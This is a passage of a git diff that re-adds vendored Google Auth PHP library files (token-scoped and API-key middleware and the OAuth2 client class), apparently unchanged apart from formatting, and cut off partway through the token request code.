'prefix' => 'Google\Auth\ScopedAccessToken::' ], - * $cache = new Memcache() - * ); - * $stack = HandlerStack::create(); - * $stack->push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_url' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'auth' => 'scoped' // authorize all requests - * ]); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - * - * @param callable $handler - * @return \Closure - */ - public function __invoke(callable $handler) - { - return function (RequestInterface $request, array $options) use ($handler) { - // Requests using "auth"="scoped" will be authorized. - if (!isset($options['auth']) || $options['auth'] !== 'scoped') { - return $handler($request, $options); - } - - $request = $request->withHeader('authorization', 'Bearer ' . $this->fetchToken()); - - return $handler($request, $options); - }; - } - - /** - * @return string - */ - private function getCacheKey() - { - $key = null; - - if (is_string($this->scopes)) { - $key .= $this->scopes; - } elseif (is_array($this->scopes)) { - $key .= implode(':', $this->scopes); - } - - return $key; - } - - /** - * Determine if token is available in the cache, if not call tokenFunc to - * fetch it. - * - * @return string - */ - private function fetchToken() - { - $cacheKey = $this->getCacheKey(); - $cached = $this->getCachedValue($cacheKey); - - if (!empty($cached)) { - return $cached; - } - - $token = call_user_func($this->tokenFunc, $this->scopes); - $this->setCachedValue($cacheKey, $token); - - return $token; - } -} +' + */ +class ScopedAccessTokenMiddleware +{ + use CacheTrait; + + const DEFAULT_CACHE_LIFETIME = 1500; + + /** + * @var CacheItemPoolInterface + */ + private $cache; + + /** + * @var array configuration + */ + private $cacheConfig; + + /** + * @var callable + */ + private $tokenFunc; + + /** + * @var array|string + */ + private $scopes; + + /** + * Creates a new ScopedAccessTokenMiddleware. + * + * @param callable $tokenFunc a token generator function + * @param array|string $scopes the token authentication scopes + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache an implementation of CacheItemPoolInterface + */ + public function __construct( + callable $tokenFunc, + $scopes, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null + ) { + $this->tokenFunc = $tokenFunc; + if (!(is_string($scopes) || is_array($scopes))) { + throw new \InvalidArgumentException( + 'wants scope should be string or array' + ); + } + $this->scopes = $scopes; + + if (!is_null($cache)) { + $this->cache = $cache; + $this->cacheConfig = array_merge([ + 'lifetime' => self::DEFAULT_CACHE_LIFETIME, + 'prefix' => '', + ], $cacheConfig); + } + } + + /** + * Updates the request with an Authorization header when auth is 'scoped'. + * + * E.g this could be used to authenticate using the AppEngine + * AppIdentityService. + * + * use google\appengine\api\app_identity\AppIdentityService; + * use Google\Auth\Middleware\ScopedAccessTokenMiddleware; + * use GuzzleHttp\Client; + * use GuzzleHttp\HandlerStack; + * + * $scope = 'https://www.googleapis.com/auth/taskqueue' + * $middleware = new ScopedAccessTokenMiddleware( + * 'AppIdentityService::getAccessToken', + * $scope, + * [ 'prefix' => 'Google\Auth\ScopedAccessToken::' ], + * $cache = new Memcache() + * ); + * $stack = HandlerStack::create(); + * $stack->push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_url' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'auth' => 'scoped' // authorize all requests + * ]); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + * + * @param callable $handler + * @return \Closure + */ + public function __invoke(callable $handler) + { + return function (RequestInterface $request, array $options) use ($handler) { + // Requests using "auth"="scoped" will be authorized. + if (!isset($options['auth']) || $options['auth'] !== 'scoped') { + return $handler($request, $options); + } + + $request = $request->withHeader('authorization', 'Bearer ' . $this->fetchToken()); + + return $handler($request, $options); + }; + } + + /** + * @return string + */ + private function getCacheKey() + { + $key = null; + + if (is_string($this->scopes)) { + $key .= $this->scopes; + } elseif (is_array($this->scopes)) { + $key .= implode(':', $this->scopes); + } + + return $key; + } + + /** + * Determine if token is available in the cache, if not call tokenFunc to + * fetch it. + * + * @return string + */ + private function fetchToken() + { + $cacheKey = $this->getCacheKey(); + $cached = $this->getCachedValue($cacheKey); + + if (!empty($cached)) { + return $cached; + } + + $token = call_user_func($this->tokenFunc, $this->scopes); + $this->setCachedValue($cacheKey, $token); + + return $token; + } +} diff --git a/vendor/google/auth/src/Middleware/SimpleMiddleware.php b/vendor/google/auth/src/Middleware/SimpleMiddleware.php index a2b2b80b40..bc913c1b48 100644 --- a/vendor/google/auth/src/Middleware/SimpleMiddleware.php +++ b/vendor/google/auth/src/Middleware/SimpleMiddleware.php @@ -1,92 +1,92 @@ -config = array_merge(['key' => null], $config); - } - - /** - * Updates the request query with the developer key if auth is set to simple. - * - * use Google\Auth\Middleware\SimpleMiddleware; - * use GuzzleHttp\Client; - * use GuzzleHttp\HandlerStack; - * - * $my_key = 'is not the same as yours'; - * $middleware = new SimpleMiddleware(['key' => $my_key]); - * $stack = HandlerStack::create(); - * $stack->push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_uri' => 'https://www.googleapis.com/discovery/v1/', - * 'auth' => 'simple' - * ]); - * - * $res = $client->get('drive/v2/rest'); - * - * @param callable $handler - * @return \Closure - */ - public function __invoke(callable $handler) - { - return function (RequestInterface $request, array $options) use ($handler) { - // Requests using "auth"="scoped" will be authorized. - if (!isset($options['auth']) || $options['auth'] !== 'simple') { - return $handler($request, $options); - } - - $query = Query::parse($request->getUri()->getQuery()); - $params = array_merge($query, $this->config); - $uri = $request->getUri()->withQuery(Query::build($params)); - $request = $request->withUri($uri); - - return $handler($request, $options); - }; - } -} +config = array_merge(['key' => null], $config); + } + + /** + * Updates the request query with the developer key if auth is set to simple. + * + * use Google\Auth\Middleware\SimpleMiddleware; + * use GuzzleHttp\Client; + * use GuzzleHttp\HandlerStack; + * + * $my_key = 'is not the same as yours'; + * $middleware = new SimpleMiddleware(['key' => $my_key]); + * $stack = HandlerStack::create(); + * $stack->push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_uri' => 'https://www.googleapis.com/discovery/v1/', + * 'auth' => 'simple' + * ]); + * + * $res = $client->get('drive/v2/rest'); + * + * @param callable $handler + * @return \Closure + */ + public function __invoke(callable $handler) + { + return function (RequestInterface $request, array $options) use ($handler) { + // Requests using "auth"="scoped" will be authorized. + if (!isset($options['auth']) || $options['auth'] !== 'simple') { + return $handler($request, $options); + } + + $query = Query::parse($request->getUri()->getQuery()); + $params = array_merge($query, $this->config); + $uri = $request->getUri()->withQuery(Query::build($params)); + $request = $request->withUri($uri); + + return $handler($request, $options); + }; + } +} diff --git a/vendor/google/auth/src/OAuth2.php b/vendor/google/auth/src/OAuth2.php index 17b03a0ddc..9c7c659eda 100644 --- a/vendor/google/auth/src/OAuth2.php +++ b/vendor/google/auth/src/OAuth2.php @@ -1,1435 +1,1435 @@ - self::DEFAULT_EXPIRY_SECONDS, - 'extensionParams' => [], - 'authorizationUri' => null, - 'redirectUri' => null, - 'tokenCredentialUri' => null, - 'state' => null, - 'username' => null, - 'password' => null, - 'clientId' => null, - 'clientSecret' => null, - 'issuer' => null, - 'sub' => null, - 'audience' => null, - 'signingKey' => null, - 'signingKeyId' => null, - 'signingAlgorithm' => null, - 'scope' => null, - 'additionalClaims' => [], - ], $config); - - $this->setAuthorizationUri($opts['authorizationUri']); - $this->setRedirectUri($opts['redirectUri']); - $this->setTokenCredentialUri($opts['tokenCredentialUri']); - $this->setState($opts['state']); - $this->setUsername($opts['username']); - $this->setPassword($opts['password']); - $this->setClientId($opts['clientId']); - $this->setClientSecret($opts['clientSecret']); - $this->setIssuer($opts['issuer']); - $this->setSub($opts['sub']); - $this->setExpiry($opts['expiry']); - $this->setAudience($opts['audience']); - $this->setSigningKey($opts['signingKey']); - $this->setSigningKeyId($opts['signingKeyId']); - $this->setSigningAlgorithm($opts['signingAlgorithm']); - $this->setScope($opts['scope']); - $this->setExtensionParams($opts['extensionParams']); - $this->setAdditionalClaims($opts['additionalClaims']); - $this->updateToken($opts); - } - - /** - * Verifies the idToken if present. - * - * - if none is present, return null - * - if present, but invalid, raises DomainException. - * - otherwise returns the payload in the idtoken as a PHP object. - * - * The behavior of this method varies depending on the version of - * `firebase/php-jwt` you are using. In versions lower than 3.0.0, if - * `$publicKey` is null, the key is decoded without being verified. In - * newer versions, if a public key is not given, this method will throw an - * `\InvalidArgumentException`. - * - * @param string $publicKey The public key to use to authenticate the token - * @param array $allowed_algs List of supported verification algorithms - * @throws \DomainException if the token is missing an audience. - * @throws \DomainException if the audience does not match the one set in - * the OAuth2 class instance. - * @throws \UnexpectedValueException If the token is invalid - * @throws SignatureInvalidException If the signature is invalid. - * @throws BeforeValidException If the token is not yet valid. - * @throws ExpiredException If the token has expired. - * @return null|object - */ - public function verifyIdToken($publicKey = null, $allowed_algs = array()) - { - $idToken = $this->getIdToken(); - if (is_null($idToken)) { - return null; - } - - $resp = $this->jwtDecode($idToken, $publicKey, $allowed_algs); - if (!property_exists($resp, 'aud')) { - throw new \DomainException('No audience found the id token'); - } - if ($resp->aud != $this->getAudience()) { - throw new \DomainException('Wrong audience present in the id token'); - } - - return $resp; - } - - /** - * Obtains the encoded jwt from the instance data. - * - * @param array $config array optional configuration parameters - * @return string - */ - public function toJwt(array $config = []) - { - if (is_null($this->getSigningKey())) { - throw new \DomainException('No signing key available'); - } - if (is_null($this->getSigningAlgorithm())) { - throw new \DomainException('No signing algorithm specified'); - } - $now = time(); - - $opts = array_merge([ - 'skew' => self::DEFAULT_SKEW_SECONDS, - ], $config); - - $assertion = [ - 'iss' => $this->getIssuer(), - 'exp' => ($now + $this->getExpiry()), - 'iat' => ($now - $opts['skew']), - ]; - foreach ($assertion as $k => $v) { - if (is_null($v)) { - throw new \DomainException($k . ' should not be null'); - } - } - if (!(is_null($this->getAudience()))) { - $assertion['aud'] = $this->getAudience(); - } - - if (!(is_null($this->getScope()))) { - $assertion['scope'] = $this->getScope(); - } - - if (empty($assertion['scope']) && empty($assertion['aud'])) { - throw new \DomainException('one of scope or aud should not be null'); - } - - if (!(is_null($this->getSub()))) { - $assertion['sub'] = $this->getSub(); - } - $assertion += $this->getAdditionalClaims(); - - return $this->jwtEncode( - $assertion, - $this->getSigningKey(), - $this->getSigningAlgorithm(), - $this->getSigningKeyId() - ); - } - - /** - * Generates a request for token credentials. - * - * @return RequestInterface the authorization Url. - */ - public function generateCredentialsRequest() - { - $uri = $this->getTokenCredentialUri(); - if (is_null($uri)) { - throw new \DomainException('No token credential URI was set.'); - } - - $grantType = $this->getGrantType(); - $params = array('grant_type' => $grantType); - switch ($grantType) { - case 'authorization_code': - $params['code'] = $this->getCode(); - $params['redirect_uri'] = $this->getRedirectUri(); - $this->addClientCredentials($params); - break; - case 'password': - $params['username'] = $this->getUsername(); - $params['password'] = $this->getPassword(); - $this->addClientCredentials($params); - break; - case 'refresh_token': - $params['refresh_token'] = $this->getRefreshToken(); - $this->addClientCredentials($params); - break; - case self::JWT_URN: - $params['assertion'] = $this->toJwt(); - break; - default: - if (!is_null($this->getRedirectUri())) { - # Grant type was supposed to be 'authorization_code', as there - # is a redirect URI. - throw new \DomainException('Missing authorization code'); - } - unset($params['grant_type']); - if (!is_null($grantType)) { - $params['grant_type'] = $grantType; - } - $params = array_merge($params, $this->getExtensionParams()); - } - - $headers = [ - 'Cache-Control' => 'no-store', - 'Content-Type' => 'application/x-www-form-urlencoded', - ]; - - return new Request( - 'POST', - $uri, - $headers, - Query::build($params) - ); - } - - /** - * Fetches the auth tokens based on the current state. - * - * @param callable $httpHandler callback which delivers psr7 request - * @return array the response - */ - public function fetchAuthToken(callable $httpHandler = null) - { - if (is_null($httpHandler)) { - $httpHandler = HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - } - - $response = $httpHandler($this->generateCredentialsRequest()); - $credentials = $this->parseTokenResponse($response); - $this->updateToken($credentials); - - return $credentials; - } - - /** - * Obtains a key that can used to cache the results of #fetchAuthToken. - * - * The key is derived from the scopes. - * - * @return string a key that may be used to cache the auth token. - */ - public function getCacheKey() - { - if (is_array($this->scope)) { - return implode(':', $this->scope); - } - - if ($this->audience) { - return $this->audience; - } - - // If scope has not set, return null to indicate no caching. - return null; - } - - /** - * Parses the fetched tokens. - * - * @param ResponseInterface $resp the response. - * @return array the tokens parsed from the response body. - * @throws \Exception - */ - public function parseTokenResponse(ResponseInterface $resp) - { - $body = (string)$resp->getBody(); - if ($resp->hasHeader('Content-Type') && - $resp->getHeaderLine('Content-Type') == 'application/x-www-form-urlencoded' - ) { - $res = array(); - parse_str($body, $res); - - return $res; - } - - // Assume it's JSON; if it's not throw an exception - if (null === $res = json_decode($body, true)) { - throw new \Exception('Invalid JSON response'); - } - - return $res; - } - - /** - * Updates an OAuth 2.0 client. - * - * Example: - * ``` - * $oauth->updateToken([ - * 'refresh_token' => 'n4E9O119d', - * 'access_token' => 'FJQbwq9', - * 'expires_in' => 3600 - * ]); - * ``` - * - * @param array $config - * The configuration parameters related to the token. - * - * - refresh_token - * The refresh token associated with the access token - * to be refreshed. - * - * - access_token - * The current access token for this client. - * - * - id_token - * The current ID token for this client. - * - * - expires_in - * The time in seconds until access token expiration. - * - * - expires_at - * The time as an integer number of seconds since the Epoch - * - * - issued_at - * The timestamp that the token was issued at. - */ - public function updateToken(array $config) - { - $opts = array_merge([ - 'extensionParams' => [], - 'access_token' => null, - 'id_token' => null, - 'expires_in' => null, - 'expires_at' => null, - 'issued_at' => null, - ], $config); - - $this->setExpiresAt($opts['expires_at']); - $this->setExpiresIn($opts['expires_in']); - // By default, the token is issued at `Time.now` when `expiresIn` is set, - // but this can be used to supply a more precise time. - if (!is_null($opts['issued_at'])) { - $this->setIssuedAt($opts['issued_at']); - } - - $this->setAccessToken($opts['access_token']); - $this->setIdToken($opts['id_token']); - // The refresh token should only be updated if a value is explicitly - // passed in, as some access token responses do not include a refresh - // token. - if (array_key_exists('refresh_token', $opts)) { - $this->setRefreshToken($opts['refresh_token']); - } - } - - /** - * Builds the authorization Uri that the user should be redirected to. - * - * @param array $config configuration options that customize the return url - * @return UriInterface the authorization Url. - * @throws InvalidArgumentException - */ - public function buildFullAuthorizationUri(array $config = []) - { - if (is_null($this->getAuthorizationUri())) { - throw new InvalidArgumentException( - 'requires an authorizationUri to have been set' - ); - } - - $params = array_merge([ - 'response_type' => 'code', - 'access_type' => 'offline', - 'client_id' => $this->clientId, - 'redirect_uri' => $this->redirectUri, - 'state' => $this->state, - 'scope' => $this->getScope(), - ], $config); - - // Validate the auth_params - if (is_null($params['client_id'])) { - throw new InvalidArgumentException( - 'missing the required client identifier' - ); - } - if (is_null($params['redirect_uri'])) { - throw new InvalidArgumentException('missing the required redirect URI'); - } - if (!empty($params['prompt']) && !empty($params['approval_prompt'])) { - throw new InvalidArgumentException( - 'prompt and approval_prompt are mutually exclusive' - ); - } - - // Construct the uri object; return it if it is valid. - $result = clone $this->authorizationUri; - $existingParams = Query::parse($result->getQuery()); - - $result = $result->withQuery( - Query::build(array_merge($existingParams, $params)) - ); - - if ($result->getScheme() != 'https') { - throw new InvalidArgumentException( - 'Authorization endpoint must be protected by TLS' - ); - } - - return $result; - } - - /** - * Sets the authorization server's HTTP endpoint capable of authenticating - * the end-user and obtaining authorization. - * - * @param string $uri - */ - public function setAuthorizationUri($uri) - { - $this->authorizationUri = $this->coerceUri($uri); - } - - /** - * Gets the authorization server's HTTP endpoint capable of authenticating - * the end-user and obtaining authorization. - * - * @return UriInterface - */ - public function getAuthorizationUri() - { - return $this->authorizationUri; - } - - /** - * Gets the authorization server's HTTP endpoint capable of issuing tokens - * and refreshing expired tokens. - * - * @return string - */ - public function getTokenCredentialUri() - { - return $this->tokenCredentialUri; - } - - /** - * Sets the authorization server's HTTP endpoint capable of issuing tokens - * and refreshing expired tokens. - * - * @param string $uri - */ - public function setTokenCredentialUri($uri) - { - $this->tokenCredentialUri = $this->coerceUri($uri); - } - - /** - * Gets the redirection URI used in the initial request. - * - * @return string - */ - public function getRedirectUri() - { - return $this->redirectUri; - } - - /** - * Sets the redirection URI used in the initial request. - * - * @param string $uri - */ - public function setRedirectUri($uri) - { - if (is_null($uri)) { - $this->redirectUri = null; - - return; - } - // redirect URI must be absolute - if (!$this->isAbsoluteUri($uri)) { - // "postmessage" is a reserved URI string in Google-land - // @see https://developers.google.com/identity/sign-in/web/server-side-flow - if ('postmessage' !== (string)$uri) { - throw new InvalidArgumentException( - 'Redirect URI must be absolute' - ); - } - } - $this->redirectUri = (string)$uri; - } - - /** - * Gets the scope of the access requests as a space-delimited String. - * - * @return string - */ - public function getScope() - { - if (is_null($this->scope)) { - return $this->scope; - } - - return implode(' ', $this->scope); - } - - /** - * Sets the scope of the access request, expressed either as an Array or as - * a space-delimited String. - * - * @param string|array $scope - * @throws InvalidArgumentException - */ - public function setScope($scope) - { - if (is_null($scope)) { - $this->scope = null; - } elseif (is_string($scope)) { - $this->scope = explode(' ', $scope); - } elseif (is_array($scope)) { - foreach ($scope as $s) { - $pos = strpos($s, ' '); - if ($pos !== false) { - throw new InvalidArgumentException( - 'array scope values should not contain spaces' - ); - } - } - $this->scope = $scope; - } else { - throw new InvalidArgumentException( - 'scopes should be a string or array of strings' - ); - } - } - - /** - * Gets the current grant type. - * - * @return string - */ - public function getGrantType() - { - if (!is_null($this->grantType)) { - return $this->grantType; - } - - // Returns the inferred grant type, based on the current object instance - // state. - if (!is_null($this->code)) { - return 'authorization_code'; - } - - if (!is_null($this->refreshToken)) { - return 'refresh_token'; - } - - if (!is_null($this->username) && !is_null($this->password)) { - return 'password'; - } - - if (!is_null($this->issuer) && !is_null($this->signingKey)) { - return self::JWT_URN; - } - - return null; - } - - /** - * Sets the current grant type. - * - * @param $grantType - * @throws InvalidArgumentException - */ - public function setGrantType($grantType) - { - if (in_array($grantType, self::$knownGrantTypes)) { - $this->grantType = $grantType; - } else { - // validate URI - if (!$this->isAbsoluteUri($grantType)) { - throw new InvalidArgumentException( - 'invalid grant type' - ); - } - $this->grantType = (string)$grantType; - } - } - - /** - * Gets an arbitrary string designed to allow the client to maintain state. - * - * @return string - */ - public function getState() - { - return $this->state; - } - - /** - * Sets an arbitrary string designed to allow the client to maintain state. - * - * @param string $state - */ - public function setState($state) - { - $this->state = $state; - } - - /** - * Gets the authorization code issued to this client. - */ - public function getCode() - { - return $this->code; - } - - /** - * Sets the authorization code issued to this client. - * - * @param string $code - */ - public function setCode($code) - { - $this->code = $code; - } - - /** - * Gets the resource owner's username. - */ - public function getUsername() - { - return $this->username; - } - - /** - * Sets the resource owner's username. - * - * @param string $username - */ - public function setUsername($username) - { - $this->username = $username; - } - - /** - * Gets the resource owner's password. - */ - public function getPassword() - { - return $this->password; - } - - /** - * Sets the resource owner's password. - * - * @param $password - */ - public function setPassword($password) - { - $this->password = $password; - } - - /** - * Sets a unique identifier issued to the client to identify itself to the - * authorization server. - */ - public function getClientId() - { - return $this->clientId; - } - - /** - * Sets a unique identifier issued to the client to identify itself to the - * authorization server. - * - * @param $clientId - */ - public function setClientId($clientId) - { - $this->clientId = $clientId; - } - - /** - * Gets a shared symmetric secret issued by the authorization server, which - * is used to authenticate the client. - */ - public function getClientSecret() - { - return $this->clientSecret; - } - - /** - * Sets a shared symmetric secret issued by the authorization server, which - * is used to authenticate the client. - * - * @param $clientSecret - */ - public function setClientSecret($clientSecret) - { - $this->clientSecret = $clientSecret; - } - - /** - * Gets the Issuer ID when using assertion profile. - */ - public function getIssuer() - { - return $this->issuer; - } - - /** - * Sets the Issuer ID when using assertion profile. - * - * @param string $issuer - */ - public function setIssuer($issuer) - { - $this->issuer = $issuer; - } - - /** - * Gets the target sub when issuing assertions. - */ - public function getSub() - { - return $this->sub; - } - - /** - * Sets the target sub when issuing assertions. - * - * @param string $sub - */ - public function setSub($sub) - { - $this->sub = $sub; - } - - /** - * Gets the target audience when issuing assertions. - */ - public function getAudience() - { - return $this->audience; - } - - /** - * Sets the target audience when issuing assertions. - * - * @param string $audience - */ - public function setAudience($audience) - { - $this->audience = $audience; - } - - /** - * Gets the signing key when using an assertion profile. - */ - public function getSigningKey() - { - return $this->signingKey; - } - - /** - * Sets the signing key when using an assertion profile. - * - * @param string $signingKey - */ - public function setSigningKey($signingKey) - { - $this->signingKey = $signingKey; - } - - /** - * Gets the signing key id when using an assertion profile. - * - * @return string - */ - public function getSigningKeyId() - { - return $this->signingKeyId; - } - - /** - * Sets the signing key id when using an assertion profile. - * - * @param string $signingKeyId - */ - public function setSigningKeyId($signingKeyId) - { - $this->signingKeyId = $signingKeyId; - } - - /** - * Gets the signing algorithm when using an assertion profile. - * - * @return string - */ - public function getSigningAlgorithm() - { - return $this->signingAlgorithm; - } - - /** - * Sets the signing algorithm when using an assertion profile. - * - * @param string $signingAlgorithm - */ - public function setSigningAlgorithm($signingAlgorithm) - { - if (is_null($signingAlgorithm)) { - $this->signingAlgorithm = null; - } elseif (!in_array($signingAlgorithm, self::$knownSigningAlgorithms)) { - throw new InvalidArgumentException('unknown signing algorithm'); - } else { - $this->signingAlgorithm = $signingAlgorithm; - } - } - - /** - * Gets the set of parameters used by extension when using an extension - * grant type. - */ - public function getExtensionParams() - { - return $this->extensionParams; - } - - /** - * Sets the set of parameters used by extension when using an extension - * grant type. - * - * @param $extensionParams - */ - public function setExtensionParams($extensionParams) - { - $this->extensionParams = $extensionParams; - } - - /** - * Gets the number of seconds assertions are valid for. - */ - public function getExpiry() - { - return $this->expiry; - } - - /** - * Sets the number of seconds assertions are valid for. - * - * @param int $expiry - */ - public function setExpiry($expiry) - { - $this->expiry = $expiry; - } - - /** - * Gets the lifetime of the access token in seconds. - */ - public function getExpiresIn() - { - return $this->expiresIn; - } - - /** - * Sets the lifetime of the access token in seconds. - * - * @param int $expiresIn - */ - public function setExpiresIn($expiresIn) - { - if (is_null($expiresIn)) { - $this->expiresIn = null; - $this->issuedAt = null; - } else { - $this->issuedAt = time(); - $this->expiresIn = (int)$expiresIn; - } - } - - /** - * Gets the time the current access token expires at. - * - * @return int - */ - public function getExpiresAt() - { - if (!is_null($this->expiresAt)) { - return $this->expiresAt; - } - - if (!is_null($this->issuedAt) && !is_null($this->expiresIn)) { - return $this->issuedAt + $this->expiresIn; - } - - return null; - } - - /** - * Returns true if the acccess token has expired. - * - * @return bool - */ - public function isExpired() - { - $expiration = $this->getExpiresAt(); - $now = time(); - - return !is_null($expiration) && $now >= $expiration; - } - - /** - * Sets the time the current access token expires at. - * - * @param int $expiresAt - */ - public function setExpiresAt($expiresAt) - { - $this->expiresAt = $expiresAt; - } - - /** - * Gets the time the current access token was issued at. - */ - public function getIssuedAt() - { - return $this->issuedAt; - } - - /** - * Sets the time the current access token was issued at. - * - * @param int $issuedAt - */ - public function setIssuedAt($issuedAt) - { - $this->issuedAt = $issuedAt; - } - - /** - * Gets the current access token. - */ - public function getAccessToken() - { - return $this->accessToken; - } - - /** - * Sets the current access token. - * - * @param string $accessToken - */ - public function setAccessToken($accessToken) - { - $this->accessToken = $accessToken; - } - - /** - * Gets the current ID token. - */ - public function getIdToken() - { - return $this->idToken; - } - - /** - * Sets the current ID token. - * - * @param $idToken - */ - public function setIdToken($idToken) - { - $this->idToken = $idToken; - } - - /** - * Gets the refresh token associated with the current access token. - */ - public function getRefreshToken() - { - return $this->refreshToken; - } - - /** - * Sets the refresh token associated with the current access token. - * - * @param $refreshToken - */ - public function setRefreshToken($refreshToken) - { - $this->refreshToken = $refreshToken; - } - - /** - * Sets additional claims to be included in the JWT token - * - * @param array $additionalClaims - */ - public function setAdditionalClaims(array $additionalClaims) - { - $this->additionalClaims = $additionalClaims; - } - - /** - * Gets the additional claims to be included in the JWT token. - * - * @return array - */ - public function getAdditionalClaims() - { - return $this->additionalClaims; - } - - /** - * The expiration of the last received token. - * - * @return array|null - */ - public function getLastReceivedToken() - { - if ($token = $this->getAccessToken()) { - // the bare necessity of an auth token - $authToken = [ - 'access_token' => $token, - 'expires_at' => $this->getExpiresAt(), - ]; - } elseif ($idToken = $this->getIdToken()) { - $authToken = [ - 'id_token' => $idToken, - 'expires_at' => $this->getExpiresAt(), - ]; - } else { - return null; - } - - if ($expiresIn = $this->getExpiresIn()) { - $authToken['expires_in'] = $expiresIn; - } - if ($issuedAt = $this->getIssuedAt()) { - $authToken['issued_at'] = $issuedAt; - } - if ($refreshToken = $this->getRefreshToken()) { - $authToken['refresh_token'] = $refreshToken; - } - - return $authToken; - } - - /** - * Get the client ID. - * - * Alias of {@see Google\Auth\OAuth2::getClientId()}. - * - * @param callable $httpHandler - * @return string - * @access private - */ - public function getClientName(callable $httpHandler = null) - { - return $this->getClientId(); - } - - /** - * @todo handle uri as array - * - * @param string $uri - * @return null|UriInterface - */ - private function coerceUri($uri) - { - if (is_null($uri)) { - return; - } - - return Utils::uriFor($uri); - } - - /** - * @param string $idToken - * @param string|array|null $publicKey - * @param array $allowedAlgs - * @return object - */ - private function jwtDecode($idToken, $publicKey, $allowedAlgs) - { - if (class_exists('Firebase\JWT\JWT')) { - return \Firebase\JWT\JWT::decode($idToken, $publicKey, $allowedAlgs); - } - - return \JWT::decode($idToken, $publicKey, $allowedAlgs); - } - - private function jwtEncode($assertion, $signingKey, $signingAlgorithm, $signingKeyId = null) - { - if (class_exists('Firebase\JWT\JWT')) { - return \Firebase\JWT\JWT::encode( - $assertion, - $signingKey, - $signingAlgorithm, - $signingKeyId - ); - } - - return \JWT::encode($assertion, $signingKey, $signingAlgorithm, $signingKeyId); - } - - /** - * Determines if the URI is absolute based on its scheme and host or path - * (RFC 3986). - * - * @param string $uri - * @return bool - */ - private function isAbsoluteUri($uri) - { - $uri = $this->coerceUri($uri); - - return $uri->getScheme() && ($uri->getHost() || $uri->getPath()); - } - - /** - * @param array $params - * @return array - */ - private function addClientCredentials(&$params) - { - $clientId = $this->getClientId(); - $clientSecret = $this->getClientSecret(); - - if ($clientId && $clientSecret) { - $params['client_id'] = $clientId; - $params['client_secret'] = $clientSecret; - } - - return $params; - } -} + self::DEFAULT_EXPIRY_SECONDS, + 'extensionParams' => [], + 'authorizationUri' => null, + 'redirectUri' => null, + 'tokenCredentialUri' => null, + 'state' => null, + 'username' => null, + 'password' => null, + 'clientId' => null, + 'clientSecret' => null, + 'issuer' => null, + 'sub' => null, + 'audience' => null, + 'signingKey' => null, + 'signingKeyId' => null, + 'signingAlgorithm' => null, + 'scope' => null, + 'additionalClaims' => [], + ], $config); + + $this->setAuthorizationUri($opts['authorizationUri']); + $this->setRedirectUri($opts['redirectUri']); + $this->setTokenCredentialUri($opts['tokenCredentialUri']); + $this->setState($opts['state']); + $this->setUsername($opts['username']); + $this->setPassword($opts['password']); + $this->setClientId($opts['clientId']); + $this->setClientSecret($opts['clientSecret']); + $this->setIssuer($opts['issuer']); + $this->setSub($opts['sub']); + $this->setExpiry($opts['expiry']); + $this->setAudience($opts['audience']); + $this->setSigningKey($opts['signingKey']); + $this->setSigningKeyId($opts['signingKeyId']); + $this->setSigningAlgorithm($opts['signingAlgorithm']); + $this->setScope($opts['scope']); + $this->setExtensionParams($opts['extensionParams']); + $this->setAdditionalClaims($opts['additionalClaims']); + $this->updateToken($opts); + } + + /** + * Verifies the idToken if present. + * + * - if none is present, return null + * - if present, but invalid, raises DomainException. + * - otherwise returns the payload in the idtoken as a PHP object. + * + * The behavior of this method varies depending on the version of + * `firebase/php-jwt` you are using. In versions lower than 3.0.0, if + * `$publicKey` is null, the key is decoded without being verified. In + * newer versions, if a public key is not given, this method will throw an + * `\InvalidArgumentException`. + * + * @param string $publicKey The public key to use to authenticate the token + * @param array $allowed_algs List of supported verification algorithms + * @throws \DomainException if the token is missing an audience. + * @throws \DomainException if the audience does not match the one set in + * the OAuth2 class instance. + * @throws \UnexpectedValueException If the token is invalid + * @throws SignatureInvalidException If the signature is invalid. + * @throws BeforeValidException If the token is not yet valid. + * @throws ExpiredException If the token has expired. + * @return null|object + */ + public function verifyIdToken($publicKey = null, $allowed_algs = array()) + { + $idToken = $this->getIdToken(); + if (is_null($idToken)) { + return null; + } + + $resp = $this->jwtDecode($idToken, $publicKey, $allowed_algs); + if (!property_exists($resp, 'aud')) { + throw new \DomainException('No audience found the id token'); + } + if ($resp->aud != $this->getAudience()) { + throw new \DomainException('Wrong audience present in the id token'); + } + + return $resp; + } + + /** + * Obtains the encoded jwt from the instance data. + * + * @param array $config array optional configuration parameters + * @return string + */ + public function toJwt(array $config = []) + { + if (is_null($this->getSigningKey())) { + throw new \DomainException('No signing key available'); + } + if (is_null($this->getSigningAlgorithm())) { + throw new \DomainException('No signing algorithm specified'); + } + $now = time(); + + $opts = array_merge([ + 'skew' => self::DEFAULT_SKEW_SECONDS, + ], $config); + + $assertion = [ + 'iss' => $this->getIssuer(), + 'exp' => ($now + $this->getExpiry()), + 'iat' => ($now - $opts['skew']), + ]; + foreach ($assertion as $k => $v) { + if (is_null($v)) { + throw new \DomainException($k . ' should not be null'); + } + } + if (!(is_null($this->getAudience()))) { + $assertion['aud'] = $this->getAudience(); + } + + if (!(is_null($this->getScope()))) { + $assertion['scope'] = $this->getScope(); + } + + if (empty($assertion['scope']) && empty($assertion['aud'])) { + throw new \DomainException('one of scope or aud should not be null'); + } + + if (!(is_null($this->getSub()))) { + $assertion['sub'] = $this->getSub(); + } + $assertion += $this->getAdditionalClaims(); + + return $this->jwtEncode( + $assertion, + $this->getSigningKey(), + $this->getSigningAlgorithm(), + $this->getSigningKeyId() + ); + } + + /** + * Generates a request for token credentials. + * + * @return RequestInterface the authorization Url. + */ + public function generateCredentialsRequest() + { + $uri = $this->getTokenCredentialUri(); + if (is_null($uri)) { + throw new \DomainException('No token credential URI was set.'); + } + + $grantType = $this->getGrantType(); + $params = array('grant_type' => $grantType); + switch ($grantType) { + case 'authorization_code': + $params['code'] = $this->getCode(); + $params['redirect_uri'] = $this->getRedirectUri(); + $this->addClientCredentials($params); + break; + case 'password': + $params['username'] = $this->getUsername(); + $params['password'] = $this->getPassword(); + 